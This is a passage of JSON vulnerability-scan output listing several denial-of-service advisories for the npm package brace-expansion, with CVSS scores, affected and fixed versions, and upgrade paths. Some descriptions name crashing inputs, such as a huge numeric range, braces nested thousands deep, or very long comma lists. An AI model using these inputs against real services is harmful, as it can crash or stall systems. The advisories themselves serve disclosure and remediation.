"percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { 